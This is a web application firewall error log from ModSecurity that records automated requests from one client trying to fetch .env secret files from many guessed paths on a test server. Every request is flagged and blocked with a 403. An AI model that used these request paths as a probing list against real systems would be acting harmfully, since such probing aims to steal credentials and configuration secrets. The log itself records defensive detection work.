[Thu Feb 26 01:03:10.930475 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /misc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PwgAAAAU&quot;]
[Thu Feb 26 01:03:10.930698 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PwgAAAAU&quot;]
[Thu Feb 26 01:03:10.930843 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PwgAAAAU&quot;]
[Thu Feb 26 01:03:10.972636 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /name/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk3QAAAAM&quot;]
[Thu Feb 26 01:03:10.972883 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk3QAAAAM&quot;]
[Thu Feb 26 01:03:10.973051 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk3QAAAAM&quot;]
[Thu Feb 26 01:03:10.979246 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modix/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PwwAAAAU&quot;]
[Thu Feb 26 01:03:10.979488 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PwwAAAAU&quot;]
[Thu Feb 26 01:03:10.979650 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PwwAAAAU&quot;]
[Thu Feb 26 01:03:10.999263 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk3gAAAAM&quot;]
[Thu Feb 26 01:03:10.999484 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk3gAAAAM&quot;]
[Thu Feb 26 01:03:10.999637 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk3gAAAAM&quot;]
[Thu Feb 26 01:03:11.000902 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /monerod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PxAAAAAU&quot;]
[Thu Feb 26 01:03:11.001221 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PxAAAAAU&quot;]
[Thu Feb 26 01:03:11.001371 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PxAAAAAU&quot;]
[Thu Feb 26 01:03:11.062549 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mongodb/config/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PxQAAAAU&quot;]
[Thu Feb 26 01:03:11.062808 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PxQAAAAU&quot;]
[Thu Feb 26 01:03:11.062978 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PxQAAAAU&quot;]
[Thu Feb 26 01:03:11.095803 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new-js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk4AAAAAM&quot;]
[Thu Feb 26 01:03:11.096198 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk4AAAAAM&quot;]
[Thu Feb 26 01:03:11.096461 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk4AAAAAM&quot;]
[Thu Feb 26 01:03:11.132743 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /monitoring/compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PxgAAAAU&quot;]
[Thu Feb 26 01:03:11.133005 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PxgAAAAU&quot;]
[Thu Feb 26 01:03:11.133201 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PxgAAAAU&quot;]
[Thu Feb 26 01:03:11.157967 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /moodledata/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PxwAAAAU&quot;]
[Thu Feb 26 01:03:11.158240 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PxwAAAAU&quot;]
[Thu Feb 26 01:03:11.158430 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PxwAAAAU&quot;]
[Thu Feb 26 01:03:11.203476 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /news-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk4gAAAAM&quot;]
[Thu Feb 26 01:03:11.203734 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk4gAAAAM&quot;]
[Thu Feb 26 01:03:11.203903 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk4gAAAAM&quot;]
[Thu Feb 26 01:03:11.205145 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /msks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PyAAAAAU&quot;]
[Thu Feb 26 01:03:11.205378 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PyAAAAAU&quot;]
[Thu Feb 26 01:03:11.205539 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PyAAAAAU&quot;]
